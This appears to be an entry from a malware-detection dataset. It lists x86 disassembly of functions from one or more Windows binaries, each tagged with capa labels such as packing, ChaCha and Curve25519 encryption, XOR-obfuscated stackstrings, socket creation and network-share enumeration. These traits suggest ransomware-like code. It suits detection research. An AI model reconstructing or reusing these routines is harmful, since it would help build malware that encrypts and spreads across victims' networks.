joyce8/EMBER2024-capa huggingface dataset:
Function at 0x452800
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0x4d000]
push edi
jmp 0x45281a
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x452821
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x452810
mov eax, 1
add ebx, ebx
jne 0x452833
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x452844
jne 0x452863
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x452863
dec eax
add ebx, ebx
jne 0x452850
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
jmp 0x452828
add ebx, ebx
jne 0x45285f
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jmp 0x4528b5
xor ecx, ecx
sub eax, 3
jb 0x45287b
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x4528ea
sar eax, 1
mov ebp, eax
jmp 0x452886
add ebx, ebx
jne 0x452886
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x452854
inc ecx
add ebx, ebx
jne 0x452894
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x452854
add ebx, ebx
jne 0x4528a1
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x452896
jne 0x4528b2
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x452896
add ecx, 2
cmp ebp, 0xfffffb00
adc ecx, 2
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x4528d4
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x4528c6
jmp 0x452816
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x4528d4
add edi, ecx
jmp 0x452816
pop esi
mov edi, esi
mov ecx, 0x249
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x4528f2
cmp byte [edi], 2
jne 0x4528f2
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x4528f7
lea edi, [esi + 0x50000]
mov eax, dword [edi]
or eax, eax
je 0x45296f
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x6b6f4]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x6b7a8]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x452924
mov ecx, edi
jns 0x452953
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x6b7ac]
or eax, eax
je 0x452969
mov dword [ebx], eax
add ebx, 4
jmp 0x452941
call dword [esi + 0x6b7bc]
mov ebp, dword [esi + 0x6b7b0]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x1f7]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x4529a3
sub esp, 0xffffff80
jmp 0x4030fa
Function at 0x401050
Capabilities:
Connect to wmi namespace via wbemlocator

Disassembly:
push ebp
mov ebp, esp
push ecx
push 0
push 0
mov dword [0x405588], 0
mov dword [0x40558c], 0
mov byte [0x405590], 0
call dword [sym.imp.ole32.dll_CoInitializeEx]
test eax, eax
js 0x401195
push 0
push 2
push 0
push 3
push 6
push 0
push 0
push 0xffffffffffffffff
push 0
call dword [sym.imp.ole32.dll_CoInitializeSecurity]
test eax, eax
js 0x401195
push ebx
push esi
push 0x40558c
push 0x4031b0
push 1
push 0
push 0x4031a0
call dword [sym.imp.ole32.dll_CoCreateInstance]
test eax, eax
js 0x40125e
mov ebx, dword [sym.imp.OLEAUT32.dll_SysReAllocString]
push edi
push 0x403230
call ebx
mov ecx, dword [0x40558c]
mov edi, eax
push 0x405588
push 0
push 0
mov edx, dword [ecx]
push 0
push 0
push 0
push 0
push edi
push ecx
call dword [edx + 0xc]
push edi
mov esi, eax
call dword [sym.imp.OLEAUT32.dll_SysStringLen]
pop edi
test esi, esi
js 0x40125e
push 0
push 0
push 3
push 3
push 0
push 0
push 0xa
push dword [0x405588]
call dword [sym.imp.ole32.dll_CoSetProxyBlanket]
test eax, eax
js 0x40125e
push 0x1c
call fcn.00401b32
add esp, 4
mov dword [ebp - 4], eax
mov ecx, eax
call fcn.00401020
push str.MfgFwiPackage
mov dword [0x405594], eax
call ebx
mov ecx, dword [0x405594]
push str.FwiExec
mov dword [ecx + 8], eax
call ebx
mov ecx, dword [0x405594]
mov dword [ecx + 0xc], eax
mov eax, dword [0x405594]
mov ecx, dword [0x405588]
push eax
push 0
push 0
push dword [eax + 8]
mov edx, dword [ecx]
push ecx
call dword [edx + 0x48]
test eax, eax
jns 0x40119e
mov eax, dword [0x405594]
mov dword [eax], 0
mov eax, dword [0x405594]
pop esi
pop ebx
mov dword [eax + 4], 0
mov eax, 0x405588
mov esp, ebp
pop ebp
ret
mov ecx, dword [0x405594]
mov edx, dword [0x405588]
push 0
lea eax, [ecx + 4]
mov esi, dword [edx]
push eax
push 0
push 0
push dword [ecx + 8]
push edx
call dword [esi + 0x18]
test eax, eax
js 0x401187
push 0x1c
call fcn.00401b32
add esp, 4
mov dword [ebp - 4], eax
mov ecx, eax
call fcn.00401020
push str.FwiPackage
mov dword [0x405598], eax
call ebx
mov ecx, dword [0x405598]
mov dword [ecx + 8], eax
mov eax, dword [0x405598]
mov ecx, dword [0x405588]
push eax
push 0
push 0
push dword [eax + 8]
mov edx, dword [ecx]
push ecx
call dword [edx + 0x48]
test eax, eax
jns 0x401229
mov eax, dword [0x405598]
mov dword [eax], 0
mov eax, dword [0x405598]
pop esi
pop ebx
mov dword [eax + 4], 0
mov eax, 0x405588
mov esp, ebp
pop ebp
ret
mov ecx, dword [0x405598]
mov edx, dword [0x405588]
push 0
lea eax, [ecx + 4]
mov esi, dword [edx]
push eax
push 0
push 0
push dword [ecx + 8]
push edx
call dword [esi + 0x18]
test eax, eax
js 0x401212
pop esi
mov byte [0x405590], 1
mov eax, 0x405588
pop ebx
mov esp, ebp
pop ebp
ret
call dword [sym.imp.ole32.dll_CoUninitialize]
pop esi
pop ebx
mov eax, 0x405588
mov esp, ebp
pop ebp
ret
Function at 0x401270
Capabilities:
Print debug messages

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x42c
mov eax, dword [0x405008]
xor eax, ebp
mov dword [ebp - 4], eax
cmp byte [0x405590], 0
push ebx
mov ebx, dword [ebp + 8]
push esi
push edi
mov dword [ebp - 0x40c], 0
jne 0x4012a3
push str.init_Failed_n
jmp 0x401304
mov eax, dword [ebx]
push eax
mov ecx, dword [eax]
call dword [ecx + 0xc]
mov eax, dword [ebx]
lea edx, [ebp - 0x410]
push edx
lea edx, [ebp - 0x40c]
xor esi, esi
push edx
mov ecx, dword [eax]
push 1
push 0xffffffffffffffff
push eax
call dword [ecx + 0x10]
test eax, eax
js 0x4012ff
nop dword [eax + eax]
test esi, esi
je 0x40131f
mov eax, dword [ebp - 0x40c]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
mov eax, dword [ebx]
lea edx, [ebp - 0x410]
push edx
lea edx, [ebp - 0x40c]
inc esi
push edx
mov ecx, dword [eax]
push 1
push 0xffffffffffffffff
push eax
call dword [ecx + 0x10]
test eax, eax
jns 0x4012d0
push str.ppEnum__Next_n
call dword [sym.imp.KERNEL32.dll_OutputDebugStringW]
xor eax, eax
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00401b21
mov esp, ebp
pop ebp
ret 8
lea eax, [ebp - 0x428]
push eax
call dword [sym.imp.OLEAUT32.dll_VariantClear]
mov eax, dword [ebp - 0x40c]
lea edx, [ebp - 0x428]
push 0
push 0
push edx
mov ecx, dword [eax]
push 0
push str.InstanceName
push eax
call dword [ecx + 0x10]
mov ecx, dword [ebp - 0x40c]
mov esi, eax
push ecx
mov edx, dword [ecx]
call dword [edx + 8]
test esi, esi
jns 0x401363
push str.pInstance__Get_n
jmp 0x401304
mov edx, dword [ebp - 0x420]
xor eax, eax
xor edi, edi
cmp word [edx], ax
je 0x4013a0
lea esi, [edi + edi]
movzx ecx, word [esi + edx]
lea edi, [edi + 1]
cmp ecx, 0x5c
jne 0x40138f
mov dword [ebp + eax*2 - 0x208], 0x5c005c
inc eax
jmp 0x401397
mov word [ebp + eax*2 - 0x208], cx
inc eax
cmp word [esi + edx + 2], 0
jne 0x401372
add eax, eax
cmp eax, 0x200
jae 0x4013ff
mov edi, dword [sym.imp.OLEAUT32.dll_SysReAllocString]
xor ecx, ecx
mov word [ebp + eax - 0x208], cx
lea eax, [ebp - 0x208]
push eax
call edi
mov esi, eax
lea eax, [ebp - 0x408]
push esi
push dword [ebx + 8]
push str._ws.InstanceName__ws_
push eax
call fcn.004016c0
add esp, 0x10
push esi
call dword [sym.imp.OLEAUT32.dll_SysStringLen]
lea eax, [ebp - 0x408]
push eax
call edi
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00401b21
mov esp, ebp
pop ebp
ret 8
call fcn.00401c96
int3
Function at 0x40115b
Capabilities:
Encrypt data using salsa20 or chacha

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
mov ebx, ecx
mov esi, edx
push edi
push 0x20
lea ecx, [ebx + 0x44]
call fcn.00405ca6
mov edi, dword [ebp + 8]
lea ecx, [ebx + 0x64]
push 0xc
mov edx, edi
call fcn.00405ca6
mov ecx, str.expand_32_byte_k
call fcn.0040113c
mov ecx, ebx
mov dword [ecx + 0x78], eax
mov ecx, 0x50a450
call fcn.0040113c
mov ecx, ebx
mov dword [ecx + 0x7c], eax
mov ecx, 0x50a454
call fcn.0040113c
mov ecx, ebx
mov dword [ecx + 0x80], eax
mov ecx, 0x50a458
call fcn.0040113c
mov ecx, ebx
mov dword [ecx + 0x84], eax
mov ecx, esi
call fcn.0040113c
mov ecx, ebx
mov dword [ecx + 0x88], eax
lea ecx, [esi + 4]
call fcn.0040113c
mov ecx, ebx
mov dword [ecx + 0x8c], eax
lea ecx, [esi + 8]
call fcn.0040113c
mov ecx, ebx
mov dword [ecx + 0x90], eax
lea ecx, [esi + 0xc]
call fcn.0040113c
mov ecx, ebx
mov dword [ecx + 0x94], eax
lea ecx, [esi + 0x10]
call fcn.0040113c
mov ecx, ebx
mov dword [ecx + 0x98], eax
lea ecx, [esi + 0x14]
call fcn.0040113c
mov ecx, ebx
mov dword [ecx + 0x9c], eax
lea ecx, [esi + 0x18]
call fcn.0040113c
mov ecx, ebx
mov dword [ecx + 0xa0], eax
lea ecx, [esi + 0x1c]
call fcn.0040113c
mov esi, ebx
mov ecx, edi
and dword [esi + 0xa8], 0
mov dword [esi + 0xa4], eax
call fcn.0040113c
lea ecx, [edi + 4]
mov dword [esi + 0xac], eax
call fcn.0040113c
lea ecx, [edi + 8]
mov dword [esi + 0xb0], eax
call fcn.0040113c
push 0xc
mov edx, edi
mov dword [esi + 0xb4], eax
lea ecx, [ebx + 0x64]
call fcn.00405ca6
add esp, 0xc
pop edi
pop esi
pop ebx
leave
ret
Function at 0x40159b
Capabilities:
Contain obfuscated stackstrings
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
push ebx
push esi
push edi
mov ebx, ecx
mov dword [ebp - 0x28], 0x2b
xor edx, edx
mov byte [ebp - 0x24], 0x1b
mov byte [ebp - 0x23], 0x2b
mov byte [ebp - 0x22], 0x1a
mov byte [ebp - 0x21], 0x2b
mov byte [ebp - 0x20], 0x19
mov byte [ebp - 0x1f], 0x2b
mov byte [ebp - 0x1e], 0x18
mov byte [ebp - 0x1d], 0x2b
mov byte [ebp - 0x1c], 0x1f
mov byte [ebp - 0x1b], 0x2b
mov byte [ebp - 0x1a], 0x1e
mov byte [ebp - 0x19], 0x2b
mov byte [ebp - 0x18], 0x1d
mov byte [ebp - 0x17], 0x2b
mov byte [ebp - 0x16], 0x1c
mov byte [ebp - 0x15], 0x2b
mov byte [ebp - 0x14], 0x13
mov byte [ebp - 0x13], 0x2b
mov byte [ebp - 0x12], 0x12
mov byte [ebp - 0x11], 0x2b
mov byte [ebp - 0x10], 0x6a
mov byte [ebp - 0xf], 0x2b
mov byte [ebp - 0xe], 0x69
mov byte [ebp - 0xd], 0x2b
mov byte [ebp - 0xc], 0x68
mov byte [ebp - 0xb], 0x2b
mov byte [ebp - 0xa], 0x6f
mov byte [ebp - 9], 0x2b
mov byte [ebp - 8], 0x6e
mov byte [ebp - 7], 0x2b
mov byte [ebp - 6], 0x6d
mov byte [ebp - 5], 0x2b
mov esi, edx
mov byte [ebp - 4], 0x2b
mov al, byte [ebp - 0x24]
mov byte [ebp - 3], dl
mov al, byte [ebp + esi - 0x24]
mov ecx, dword [ebp - 0x28]
xor cl, al
mov byte [ebp + esi - 0x24], cl
inc esi
cmp esi, 0x21
jb 0x40163b
mov esi, dword [ebp + 8]
mov edi, edx
mov byte [ebp - 3], dl
movzx ecx, byte [edi + ebx]
mov eax, ecx
and ecx, 0xf
shr eax, 4
inc edi
mov ax, word [ebp + eax*2 - 0x24]
mov word [esi + edx*2], ax
lea edx, [edx + 2]
mov ax, word [ebp + ecx*2 - 0x24]
mov word [esi + edx*2 - 2], ax
cmp edi, 9
jl 0x401656
xor eax, eax
pop edi
mov word [esi + edx*2], ax
pop esi
pop ebx
leave
ret
Function at 0x403cfc
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ebx
mov ebx, dword [ebp + 8]
push esi
push edi
mov esi, edx
mov dword [ebp + 0xc], 0xa
mov edi, ecx
neg ebx
sub edi, esi
mov eax, dword [edi + esi]
mov ecx, dword [esi]
xor ecx, eax
and ecx, ebx
xor eax, ecx
cdq
mov dword [edi + esi], eax
mov dword [edi + esi + 4], edx
mov eax, dword [esi]
xor eax, ecx
sub dword [ebp + 0xc], 1
cdq
mov dword [esi], eax
lea esi, [esi + 8]
mov dword [esi - 4], edx
jne 0x403d14
pop edi
pop esi
pop ebx
pop ebp
ret

Function at 0x4042e5
Capabilities:
Encrypt data using curve25519

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x170
push ebx
push esi
push edi
mov ebx, ecx
lea edi, [ebp - 0x24]
push 8
mov esi, edx
mov edx, dword [ebp + 8]
pop ecx
rep movsd dword es:[edi], dword [esi]
mov al, byte [ebp - 5]
lea ecx, [ebp - 0xcc]
and byte [ebp - 0x24], 0xf8
and al, 0x3f
or al, 0x40
mov byte [ebp - 5], al
call fcn.00403502
lea eax, [ebp - 0xcc]
push eax
lea eax, [ebp - 0x24]
push eax
lea edx, [ebp - 0x7c]
lea ecx, [ebp - 0x16c]
call fcn.00403d3f
lea edx, [ebp - 0x7c]
lea ecx, [ebp - 0x11c]
call fcn.00403f97
lea eax, [ebp - 0x11c]
push eax
lea edx, [ebp - 0x16c]
lea ecx, [ebp - 0x7c]
call fcn.00403117
add esp, 0xc
lea edx, [ebp - 0x7c]
mov ecx, ebx
call fcn.00403828
pop edi
pop esi
xor eax, eax
pop ebx
leave
ret

Function at 0x404369
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
push ebx
push esi
push edi
mov edi, edx
or esi, 0xffffffff
mov eax, edi
mov ebx, ecx
cdq
and edx, 3
add edx, eax
sar edx, 2
test edx, edx
jle 0x4043d5
movzx eax, byte [ebx]
xor eax, esi
shr esi, 8
movzx eax, al
xor esi, dword [eax*4 + 0x50a480]
movzx eax, byte [ebx + 1]
xor eax, esi
shr esi, 8
movzx eax, al
xor esi, dword [eax*4 + 0x50a480]
movzx eax, byte [ebx + 2]
xor eax, esi
shr esi, 8
movzx eax, al
xor esi, dword [eax*4 + 0x50a480]
movzx eax, byte [ebx + 3]
add ebx, 4
xor eax, esi
shr esi, 8
movzx eax, al
xor esi, dword [eax*4 + 0x50a480]
sub edx, 1
jne 0x404382
and edi, reloc.WS2_32.dll_closesocket
jns 0x4043e2
dec edi
or edi, 0xfffffffc
inc edi
xor ecx, ecx
test edi, edi
jle 0x404400
movzx eax, byte [ecx + ebx]
xor eax, esi
shr esi, 8
movzx eax, al
xor esi, dword [eax*4 + 0x50a480]
inc ecx
cmp ecx, edi
jl 0x4043e8
not esi
pop edi
mov eax, esi
pop esi
pop ebx
ret
Function at 0x405c09
Capabilities:
Encode data using xor

Disassembly:
push esi
push edi
mov esi, ecx
xor eax, eax
mov dl, byte [esi + eax + 4]
mov ecx, dword [esi]
add cl, al
xor cl, dl
mov byte [esi + eax + 4], cl
inc eax
cmp eax, 0xb
jb 0x405c0f
pop edi
mov byte [esi + 0xf], 0
lea eax, [esi + 4]
pop esi
ret

Function at 0x405ce2
Capabilities:
Create tcp socket
Create udp socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push esi
push 0
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
mov esi, eax
cmp esi, 0xffffffff
je 0x405d4b
push 0
push 0
lea eax, [ebp - 4]
mov dword [ebp - 0x14], 0x25a207b9
push eax
push 4
push 0x5195e4
push 0x10
lea eax, [ebp - 0x14]
mov dword [ebp - 0x10], 0x4660ddf3
push eax
push 0xc8000006
push esi
mov dword [ebp - 0xc], 0xe576e98e
mov dword [ebp - 8], 0x3e06748c
call dword [sym.imp.WS2_32.dll_WSAIoctl]
test eax, eax
jne 0x405d4b
push esi
call dword [sym.imp.WS2_32.dll_closesocket]
test eax, eax
jne 0x405d4b
inc eax
jmp 0x405d4d
xor eax, eax
pop esi
leave
ret
Function at 0x405f9c
Capabilities:
Resolve dns

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c
push ebx
push esi
push edi
mov ebx, ecx
mov dword [ebp - 0x24], 2
xorps xmm0, xmm0
mov dword [ebp - 0x20], 1
xor esi, esi
movlpd qword [ebp - 0x18], xmm0
and dword [ebp - 4], esi
and dword [ebp - 0x28], esi
push ebx
movlpd qword [ebp - 0x10], xmm0
mov dword [ebp - 0x1c], 6
call dword [sym.imp.KERNEL32.dll_lstrlenW]
inc eax
mov ecx, eax
mov dword [ebp - 8], eax
call fcn.00405c2d
mov edi, eax
test edi, edi
je 0x40604b
push esi
push esi
push dword [ebp - 8]
push edi
push 0xffffffffffffffff
push ebx
xor ebx, ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
test eax, eax
je 0x40604b
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x28]
push eax
push ebx
push edi
call dword [sym.imp.WS2_32.dll_getaddrinfo]
test eax, eax
jne 0x40604b
push 0x2e
pop ecx
mov dword [ebp - 8], 0x17
call fcn.00405c2d
mov esi, eax
test esi, esi
je 0x40604b
mov ecx, dword [ebp - 4]
lea eax, [ebp - 8]
push eax
push esi
push ebx
push dword [ecx + 0x10]
push dword [ecx + 0x18]
call dword [sym.imp.WS2_32.dll_WSAAddressToStringW]
test eax, eax
je 0x40604b
mov ecx, esi
call fcn.00405cd2
mov esi, ebx
cmp dword [ebp - 4], 0
je 0x40605a
push dword [ebp - 4]
call dword [sym.imp.WS2_32.dll_freeaddrinfo]
test edi, edi
je 0x406065
mov ecx, edi
call fcn.00405cd2
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret

Function at 0x40618d
Capabilities:
Create tcp socket
Create udp socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push edi
mov edi, dword [0x5195ec]
test edi, edi
jne 0x4061a5
xor eax, eax
jmp 0x406297
mov eax, dword [edi]
push ebx
push esi
mov dword [ebp - 4], eax
xor bl, bl
push 0x28
push 0x40
mov byte [ebp - 1], bl
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov esi, eax
test esi, esi
je 0x40626f
mov eax, dword [ebp - 4]
push 2
mov dword [esi + 0x18], eax
pop eax
push 1
push 0
push 0
push 6
push 1
push eax
mov byte [esi + 0x1c], al
call dword [sym.imp.WS2_32.dll_WSASocketW]
mov dword [esi + 0x14], eax
cmp eax, 0xffffffff
jne 0x4061f3
push esi
call dword [sym.imp.KERNEL32.dll_GlobalFree]
jmp 0x406264
push 0x10
pop ecx
lea eax, [ebp - 0x14]
mov byte [eax], 0
inc eax
sub ecx, 1
jne 0x4061f9
push 2
pop eax
mov word [ebp - 0x14], ax
xor eax, eax
and dword [ebp - 0x10], eax
mov word [ebp - 0x12], ax
lea eax, [ebp - 0x14]
push 0x10
push eax
push dword [esi + 0x14]
call dword [sym.imp.WS2_32.dll_bind]
test eax, eax
je 0x406230
push dword [esi + 0x14]
call dword [sym.imp.WS2_32.dll_closesocket]
jmp 0x4061ea
push 0
push 2
pop eax
push eax
push dword [0x5195e8]
push dword [esi + 0x14]
call dword [sym.imp.KERNEL32.dll_CreateIoCompletionPort]
test eax, eax
je 0x406225
lea ecx, [esi + 0x20]
and dword [ecx], 0
mov eax, dword [0x5195ac]
mov dword [esi + 0x24], eax
mov eax, dword [0x5195ac]
mov dword [eax], esi
mov dword [0x5195ac], ecx
inc bl
cmp bl, 0xff
jb 0x4061ae
mov ecx, dword [edi + 4]
mov eax, dword [edi + 8]
test ecx, ecx
je 0x40627e
mov dword [ecx + 8], eax
jmp 0x406283
mov dword [0x5195f0], eax
mov esi, dword [edi + 8]
mov ecx, edi
mov edx, dword [edi + 4]
mov dword [esi], edx
call fcn.00405cd2
xor eax, eax
pop esi
inc eax
pop ebx
pop edi
leave
ret
Function at 0x40658e
Capabilities:
Enumerate network shares

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
cmp dword [0x51981c], 0
push ebx
push esi
push edi
jne 0x4066cf
or dword [ebp - 4], 0xffffffff
lea eax, [ebp - 0xc]
push eax
push dword [ebp + 8]
mov dword [ebp - 8], 0x4000
push 0x13
push 0
push 2
call dword [sym.imp.MPR.dll_WNetOpenEnumW]
test eax, eax
jne 0x4066cf
mov ecx, dword [ebp - 8]
call fcn.00405c2d
mov edi, eax
test edi, edi
je 0x4066c6
jmp 0x4066a5
and dword [ebp - 0x10], 0
cmp dword [ebp - 4], 0
jbe 0x4066a5
lea esi, [edi + 0x14]
test byte [esi - 8], 2
je 0x40664e
push 0x519608
call dword [sym.imp.KERNEL32.dll_lstrlenW]
test eax, eax
je 0x40661c
mov eax, dword [esi]
push 0x519608
add eax, 4
push eax
call dword [sym.imp.KERNEL32.dll_lstrcmpiW]
test eax, eax
je 0x406692
mov ecx, dword [esi]
add ecx, 4
call fcn.00405f9c
mov ebx, eax
test ebx, ebx
je 0x40663c
push ebx
push dword [esi]
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
mov ecx, ebx
call fcn.00405cd2
mov ecx, dword [esi]
call fcn.004067b6
lea eax, [esi - 0x14]
push eax
call fcn.0040658e
jmp 0x406692
mov edx, dword [esi]
mov ecx, dword [0x519824]
push 1
push 0
push 4
call fcn.00407183
add esp, 0xc
test eax, eax
je 0x406692
mov edx, dword [esi]
mov byte [ebp + 8], 0x3a
mov byte [ebp + 9], 0xa
mov byte [ebp + 0xa], 0xa
mov byte [ebp + 0xb], 0
mov al, byte [ebp + 8]
xor eax, eax
sub byte [ebp + eax + 8], 0xa
inc eax
cmp eax, 3
jb 0x40667f
lea ecx, [ebp + 8]
call fcn.00411b5f
mov eax, dword [ebp - 0x10]
add esi, 0x20
inc eax
mov dword [ebp - 0x10], eax
cmp eax, dword [ebp - 4]
jb 0x4065f2
lea eax, [ebp - 8]
push eax
push edi
lea eax, [ebp - 4]
push eax
push dword [ebp - 0xc]
call dword [sym.imp.MPR.dll_WNetEnumResourceW]
test eax, eax
je 0x4065e1
mov ecx, edi
call fcn.00405cd2
push dword [ebp - 0xc]
call dword [sym.imp.MPR.dll_WNetCloseEnum]
pop edi
pop esi
xor eax, eax
pop ebx
leave
ret 4
Function at 0x406a5c
Capabilities:
Create thread

Disassembly:
cmp dword [0x519600], 0
jne 0x406a83
test ecx, ecx
je 0x406a7c
xor eax, eax
push eax
push eax
push eax
push fcn.004066d8
push eax
push eax
call dword [sym.imp.KERNEL32.dll_CreateThread]
ret
push 0
call fcn.004066d8
ret

Function at 0x406a84
Capabilities:
Create thread
Get hostname
Resolve dns

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x100
cmp dword [0x519820], 0
jne 0x406bee
cmp dword [0x5195b0], 0
jne 0x406bee
cmp dword [0x5195e8], 0
jne 0x406bee
push ebx
xor ebx, ebx
push esi
mov dword [0x519818], ebx
call fcn.00405ce2
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
test eax, eax
je 0x406ba7
push 0x100
lea eax, [ebp - 0x100]
push eax
call dword [sym.imp.WS2_32.dll_gethostname]
cmp eax, 0xffffffff
je 0x406afa
lea eax, [ebp - 0x100]
push eax
call dword [sym.imp.WS2_32.dll_gethostbyname]
mov dword [0x5195fc], eax
push ebx
push ebx
push ebx
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_CreateIoCompletionPort]
mov dword [0x5195e8], eax
test eax, eax
je 0x406bc2
push 0x5195b4
call dword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
mov ecx, 0x5195ec
mov dword [0x5195ec], ebx
mov dword [0x5195f0], ecx
mov dword [0x5195f4], ebx
mov dword [0x5195f8], 0x5195f4
mov dword [0x5195a8], ebx
mov dword [0x5195ac], 0x5195a8
call fcn.00405d50
test eax, eax
je 0x406ba7
push ebx
push ebx
push ebx
push 0x40606c
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [0x5195b0], eax
cmp eax, 0xffffffff
je 0x406ba7
push ebx
push ebx
push ebx
push 0x406336
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [0x519820], eax
cmp eax, 0xffffffff
je 0x406ba7
push ebx
push 1
push ebx
push dword [0x5195e8]
call dword [sym.imp.KERNEL32.dll_PostQueuedCompletionStatus]
push 2
xor edx, edx
pop ecx
call fcn.00411a97
jmp 0x406bec
cmp dword [0x5195e8], ebx
je 0x406bc2
push 0x5195b4
call dword [sym.imp.KERNEL32.dll_DeleteCriticalSection]
push dword [0x5195e8]
call esi
mov eax, dword [0x5195b0]
test eax, eax
je 0x406bce
push eax
call esi
mov eax, dword [0x519820]
test eax, eax
je 0x406bda
push eax
call esi
mov dword [0x519820], ebx
mov dword [0x5195b0], ebx
mov dword [0x5195e8], ebx
pop esi
pop ebx
leave
ret

Function at 0x406c18
Capabilities:
Create thread

Disassembly:
mov eax, dword [0x5195e8]
test eax, eax
je 0x406c2e
push 0
push 4
push 0
push eax
call dword [sym.imp.KERNEL32.dll_PostQueuedCompletionStatus]
xor ecx, ecx
jmp fcn.00406bf0
Function at 0x406f36
Capabilities:
Contain obfuscated stackstrings
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
mov dword [ebp - 0x38], 0x46
xor edx, edx
mov byte [ebp - 0x34], 0x15
mov byte [ebp - 0x33], 0x46
mov byte [ebp - 0x32], 0x23
mov byte [ebp - 0x31], 0x46
mov byte [ebp - 0x30], 0x12
mov byte [ebp - 0x2f], 0x46
mov byte [ebp - 0x2e], 0x27
mov byte [ebp - 0x2d], 0x46
mov byte [ebp - 0x2c], 0x2d
mov byte [ebp - 0x2b], 0x46
mov byte [ebp - 0x2a], 0x23
mov byte [ebp - 0x29], 0x46
mov byte [ebp - 0x28], 9
mov byte [ebp - 0x27], 0x46
mov byte [ebp - 0x26], 0x31
mov byte [ebp - 0x25], 0x46
mov byte [ebp - 0x24], 0x28
mov byte [ebp - 0x23], 0x46
mov byte [ebp - 0x22], 0x23
mov byte [ebp - 0x21], 0x46
mov byte [ebp - 0x20], 0x34
mov byte [ebp - 0x1f], 0x46
mov byte [ebp - 0x1e], 0x35
mov byte [ebp - 0x1d], 0x46
mov byte [ebp - 0x1c], 0x2e
mov byte [ebp - 0x1b], 0x46
mov byte [ebp - 0x1a], 0x2f
mov byte [ebp - 0x19], 0x46
mov byte [ebp - 0x18], 0x36
mov byte [ebp - 0x17], 0x46
mov byte [ebp - 0x16], 0x16
mov byte [ebp - 0x15], 0x46
mov byte [ebp - 0x14], 0x34
mov byte [ebp - 0x13], 0x46
mov byte [ebp - 0x12], 0x2f
mov byte [ebp - 0x11], 0x46
mov byte [ebp - 0x10], 0x30
mov byte [ebp - 0xf], 0x46
mov byte [ebp - 0xe], 0x2f
mov byte [ebp - 0xd], 0x46
mov byte [ebp - 0xc], 0x2a
mov byte [ebp - 0xb], 0x46
mov byte [ebp - 0xa], 0x23
mov byte [ebp - 9], 0x46
mov byte [ebp - 8], 0x21
mov byte [ebp - 7], 0x46
mov byte [ebp - 6], 0x23
mov byte [ebp - 5], 0x46
mov byte [ebp - 4], 0x46
mov al, byte [ebp - 0x34]
mov byte [ebp - 3], 0
mov al, byte [ebp + edx - 0x34]
mov ecx, dword [ebp - 0x38]
xor cl, al
mov byte [ebp + edx - 0x34], cl
inc edx
cmp edx, 0x31
jb 0x407010
xor edx, edx
mov byte [ebp - 3], 0
lea ecx, [ebp - 0x34]
call fcn.00406c41
mov ecx, dword [0x519840]
test ecx, ecx
je 0x407052
call fcn.00405cd2
and dword [0x519840], 0
push 0x519828
call dword [sym.imp.KERNEL32.dll_DeleteCriticalSection]
leave
ret